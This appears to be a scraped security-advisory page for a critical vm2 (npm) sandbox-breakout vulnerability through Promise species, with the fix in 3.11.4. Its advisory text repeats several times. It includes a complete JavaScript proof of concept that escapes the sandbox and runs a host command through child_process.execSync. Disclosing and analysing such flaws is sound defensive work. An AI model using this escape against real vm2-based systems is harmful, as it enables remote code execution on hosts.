### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Update vm2 to 3.11.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanvm2 is Vulnerable to Sandbox Breakout Through Promise Species affects vm2 (npm). Severity is critical. ### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
AI coding agents often install or upgrade packages automatically in npm. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| vm2npm | <=3.11.3 | 3.11.4 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate vm2 to 3.11.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanvm2 is Vulnerable to Sandbox Breakout Through Promise Species affects vm2 (npm). Severity is critical. ### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
AI coding agents often install or upgrade packages automatically in npm. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| vm2npm | <=3.11.3 | 3.11.4 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard